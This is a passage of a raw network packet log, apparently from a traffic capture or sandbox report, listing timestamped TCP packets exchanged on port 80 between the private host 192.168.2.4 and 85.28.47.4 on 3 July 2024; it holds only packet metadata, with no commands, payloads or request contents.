Jul 3, 2024 23:58:58.282319069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282330990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282356024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282370090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282388926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282407045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282433033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282463074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282493114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282512903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282533884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282560110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282593966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282604933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282640934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282640934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282675982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282692909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282707930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282718897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282742977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282756090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282789946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282869101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282902956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282919884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282937050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282943964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.282970905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.282984972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283004999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283025026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283051968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283060074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283111095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283111095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283144951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283160925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283179998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283195019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283212900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283227921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283257008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283265114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283298016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283317089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283332109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283340931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283365011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283380985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283410072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283416986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283467054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283468008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283499956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283514023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283535004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283548117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283569098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283582926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283603907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283617973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283638000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283655882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283689976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283694983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283724070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283737898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283756971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283773899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283792019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283802032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283827066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283837080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283862114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283878088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283895969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283901930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283931017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283947945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.283963919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.283973932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284010887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284015894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284049034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284060955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284082890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284092903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284142971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284147978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284183025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284190893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284218073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284228086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284265995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284310102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284343004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284360886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284375906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284394026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284410000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284423113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284442902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284451008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284476995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284501076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284526110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284538984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284570932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284588099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284603119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284604073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284636974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284651041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284672022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284682035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284706116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284719944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284739971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.284754038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.284787893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341248035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341304064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341334105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341335058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341368914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341375113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341384888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341433048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341454983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341490984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341506004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341540098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341540098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341574907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.341589928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.341624022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.352919102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.352972984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.352982998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.352998972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.353024960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.353034973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.353068113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.353082895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.353096962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.353111982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.353115082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.353130102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.353143930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.353164911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364569902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364617109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364631891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364655018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364670038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364692926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364733934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364733934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364733934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364733934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364733934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364768982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364784956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364799976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364805937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364813089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364813089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364824057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364831924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364864111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364922047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364938021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364952087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364963055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364973068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.364976883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.364991903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365008116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365063906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365080118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365108967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365127087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365155935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365179062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365192890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365197897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365207911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365291119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365305901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365320921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365329027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365331888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365343094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365354061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365359068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365360975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365375042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365380049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365386963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365391970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365416050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365426064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365624905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365641117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365654945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365669012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365670919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365684986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365695953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365700960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365712881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365715981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365731955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365741014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365748882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365756989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365772963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365782022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365789890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.365792036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365807056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.365824938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376151085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376180887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376193047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376220942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376235962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376255989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376270056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376275063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376286983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376303911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376317024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376334906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376342058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376369953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376374006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376414061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376451969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376466990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376492023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376499891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376499891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376522064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376617908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376633883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376648903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376661062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376665115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376677036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376698017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376751900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376768112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376791000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376791954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376808882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376816988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376830101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376849890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376879930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376894951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376913071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376926899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376940012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376964092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376979113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.376987934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.376996040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377008915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377023935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377032042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377192020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377208948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377233982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377259016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377306938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377322912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377337933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377350092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377356052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377358913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377373934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377374887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377391100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377398968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377408981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377413988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377433062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377450943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377616882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377633095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377649069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377659082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377664089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377677917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377681017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377691031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377697945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377705097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377715111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.377734900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377743006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.377753973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378000021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378015041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378029108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378042936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378046989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378060102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378067017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378076077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378087044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378102064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378108978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378115892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378117085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378134012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378134012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378149033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378158092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378165960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378165960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378180981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378190994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378197908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378204107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378213882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378218889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378241062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378247976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.378413916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.378429890 CEST	80	49730	85.28.47.4	192.168.2.4
